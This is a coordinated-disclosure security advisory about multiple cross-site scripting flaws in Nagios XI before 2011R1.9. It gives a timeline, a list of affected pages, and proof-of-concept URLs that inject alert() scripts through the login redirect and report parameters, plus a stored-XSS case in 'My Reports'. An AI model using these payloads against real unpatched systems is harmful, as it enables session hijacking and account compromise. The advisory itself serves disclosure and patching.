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Cross-Site Scripting vulnerabilities in Nagios XI < 2011R1.9

Author: 0a29406d9794e4f9b30b3c5d6702c708

twitter.com/0a29 - 0a29.blogspot.com - GMail 0a2940
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Description:
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Multiple XSS vulnerabilities exist within Nagios XI. It is entirely likely this
list is non-exhaustive, due to the sheer number of issues. Of particular note
is XSS on the login page, and the ability to pass XSS through the login page,
using the redirect parameter, e.g.
http://site/nagiosxi/login.php?redirect=nagiosxi/reports/histogram.php?service="><script>alert("0a29")</script>

Tested against 2011R1.8, dated October 28, 2011. Fixes detailed in
http://assets.nagios.com/downloads/nagiosxi/CHANGES-2011.TXT (2011R1.9
- 12/07/2011)

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Timeline:
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16 November 2011 - Reported to Nagios Enterprises
16 November 2011 - Acknowledged
13 December 2011 - Nagios XI 2011R1.9 released
16 December 2011 - Nagios Enterprises report fixed
16 December 2011 - Public disclosure

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Details:
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Reflected XSS
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Page:    /nagiosxi/login.php
Variables:  -
PoCs:    http://site/nagiosxi/login.php/";alert('0a29');"
Details:  The URL is copied into JavaScript variable 'backend_url' in an unsafe
    manner
    Also affects:
    /nagiosxi/about/index.php
    /nagiosxi/about/index.php
    /nagiosxi/about/main.php
    /nagiosxi/account/main.php
    /nagiosxi/account/notifymethods.php
    /nagiosxi/account/notifymsgs.php
    /nagiosxi/account/notifyprefs.php
    /nagiosxi/account/testnotification.php
    /nagiosxi/help/index.php
    /nagiosxi/help/main.php
    /nagiosxi/includes/components/alertstream/go.php
    /nagiosxi/includes/components/alertstream/index.php
    /nagiosxi/includes/components/hypermap_replay/index.php
    /nagiosxi/includes/components/massacknowledge/mass_ack.php
    /nagiosxi/includes/components/xicore/recurringdowntime.php/
    /nagiosxi/includes/components/xicore/status.php
    /nagiosxi/includes/components/xicore/tac.php
    /nagiosxi/reports/alertheatmap.php
    /nagiosxi/reports/availability.php
    /nagiosxi/reports/eventlog.php
    /nagiosxi/reports/histogram.php
    /nagiosxi/reports/index.php
    /nagiosxi/reports/myreports.php
    /nagiosxi/reports/nagioscorereports.php
    /nagiosxi/reports/notifications.php
    /nagiosxi/reports/statehistory.php
    /nagiosxi/reports/topalertproducers.php
    /nagiosxi/views/index.php
    /nagiosxi/views/main.php

Page:    /nagiosxi/account/
Variables:  xiwindow
PoCs:    http://site/nagiosxi/account/?xiwindow="></iframe><script>alert('0a29')</script>

Page:    /nagiosxi/includes/components/massacknowledge/mass_ack.php
Variables:  -
PoCs:    http://site/nagiosxi/includes/components/massacknowledge/mass_ack.php/'><script>alert("0a29")</script>

Page:    /nagiosxi/includes/components/xicore/status.php
Variables:  hostgroup, style
PoCs:    http://site/nagiosxi/includes/components/xicore/status.php?show=hostgroups&hostgroup='><script>alert("0a29")</script>
    http://site/nagiosxi/includes/components/xicore/status.php?show=hostgroups&hostgroup=all&style=><script>alert("0a29")</script>

Page:    /nagiosxi/includes/components/xicore/recurringdowntime.php
Variables:  -
PoCs:    http://site/nagiosxi/includes/components/xicore/recurringdowntime.php/';}}alert('0a29')</script>


Page:    /nagiosxi/reports/alertheatmap.php
Variables:  height, host, service, width
PoCs:    http://site/nagiosxi/reports/alertheatmap.php?height="><script>alert("0a29")</script>
    http://site/nagiosxi/reports/alertheatmap.php?host="><script>alert("0a29")</script>
    http://site/nagiosxi/reports/alertheatmap.php?service="><script>alert("0a29")</script>
    http://site/nagiosxi/reports/alertheatmap.php?width="><script>alert("0a29")</script>

Page:    /nagiosxi/reports/histogram.php
Variable:  service
PoCs:    http://site/nagiosxi/reports/histogram.php?service="><script>alert("0a29")</script>

Page:    /nagiosxi/reports/notifications.php
Variables:  host, service
PoCs:    http://site/nagiosxi/reports/notifications.php?host="><script>alert("0a29")</script>
    http://site/nagiosxi/reports/notifications.php?service="><script>alert("0a29")</script>

Page:    /nagiosxi/reports/statehistory.php
Variables:  host, service
PoCs:    http://site/nagiosxi/reports/statehistory.php?host="><script>alert("0a29")</script>
    http://site/nagiosxi/reports/statehistory.php?service="><script>alert("0a29")</script>


Stored XSS
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Page:    /nagiosxi/reports/myreports.php
Variable:  title
Details:  It is possible to store XSS within 'My Reports', however it
is believed this
    is only viewable by the logged-in user.
    1) View a report and save it, e.g.
    http://site/nagiosxi/reports/myreports.php?add=1&title=Availability+Summary&url=%2Fnagiosxi%2Freports%2Favailability.php&meta_s=a%3A0%3A%7B%7D
    2) Name the report with XSS, e.g. "><script>alert("0a29")</script>